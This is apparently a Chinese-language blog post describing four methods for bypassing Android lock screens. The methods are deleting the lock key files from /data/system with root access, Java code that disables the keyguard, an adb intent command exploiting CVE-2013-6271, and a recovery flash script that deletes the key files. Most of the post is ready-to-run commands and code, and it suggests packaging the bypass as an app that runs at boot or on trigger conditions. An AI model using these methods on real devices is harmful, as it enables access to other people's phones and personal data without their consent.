安全是雙刃劍,可以方便自己忘記密碼時解鎖,也有可能以為手機丟失洩露自己信息
首先各種屏鎖都有其對應的編碼方式,最終以二進制的形式(可能加密)存放在系統某個目錄,一般位於目錄/data/system下,以*.key等文件存儲。當需用戶輸入密碼(圖形)時,會將我們的輸入進行相應的編碼,最後於本地存儲的二進制進行比較,判斷是否解鎖成功。所以,最直接的方式就是強暴!
方法1.
前置條件:已root
細節:已經root了,還有什麼好說的,直接把需要比對的文件強行抹掉就OK了。因此命令 rm /dara/system/*.key
至於用什麼方式刪除,可以usb連接通過adb完成。也可以寫個手機應用某些特定條件下觸發。
方法2.
前置條件:無
細節:該方法沒那麼惡劣,並不是直接把對比文件刪除,小小的利用了存在的一個小的邏輯漏洞(也有可能是有些應用需要改功能,所以google提供了api)。該方法只是簡單的屏蔽掉了解鎖的界面,有木有很文雅。對於圖形鎖進去之後,按home鍵還是能彈出鎖屏界面。
KeyguardManager manager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);if (manager.inKeyguardRestrictedInputMode()) { KeyguardLock keyguard = manager.newKeyguardLock(this.getClass().getName()); keyguard.disableKeyguard();}
就這麼一句話,寫成apk運行就好了,可以寫成開機啟動觸發apk運行,也可以寫成腳本usb連接後adb運行apk。上次的小小展示就是這個。
方法3.
13年11月新的招式~~~
前置條件:無
細節:大家都知道android上屏鎖有很多類,字符密碼,pin碼,圖案碼,人臉碼,當然還有無碼。那麼我們切換屏鎖類型是是需要驗證之前密碼的。
而這個驗證環節與系統應用有關,com.android.settings這個APK的其中一個類:com.android.settings.ChooseLockGeneric。由於android是開源的,那麼可以查看其對應的源代碼,找到漏洞,構造特定數據就可以實現繞過了。usb連接,啟用adb嘗試吧!
adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task
該命令就是想特定apk特定的一個組件發送intent並附帶我們構造的數據,有興趣的可以多了解,同樣可以寫成一個應用執行
舉這個例子也想告訴大家,android平台的安全有一個特點,也許自身應用是安全的,但是它可以通過另一個應用做壞事,也可以被另一個惡意程序利用
具體分析可以查看:https://cureblog.de/2013/11/cve-2013-6271-remove-device-locks-from-android-phone/
還有一些方式,這裡不展開了,都是需要adb或多或少需要開啟usb調試模式
方法4.
前置條件:可以刷機
由於版本不一,還有本人沒有實踐,只是看了下刷機腳本,覺得可行,外國佬某博客說他做到不格式化數據解鎖。原理其實是方法1
ui_print("Password Resetting ZIP by RahulB");
ui_print("Mounting System");
ui_print("Mounting Data");
run_program("/sbin/busybox", "mount", "/system");
run_program("/sbin/busybox", "mount", "/data");
ui_print("Deleting Pattern/ PIN Lock Keys");
delete("/data/system/gesture.key");
delete("/data/system/password.key");
ui_print("Unmounting System");
ui_print("Unmounting Data");
run_program("/sbin/busybox", "umount", "/system");
run_program("/sbin/busybox", "umount", "/data");
ui_print("Done :D");
方法還有很多很多,不列舉了,有興趣的大家留著,密碼忘記了可以自行解決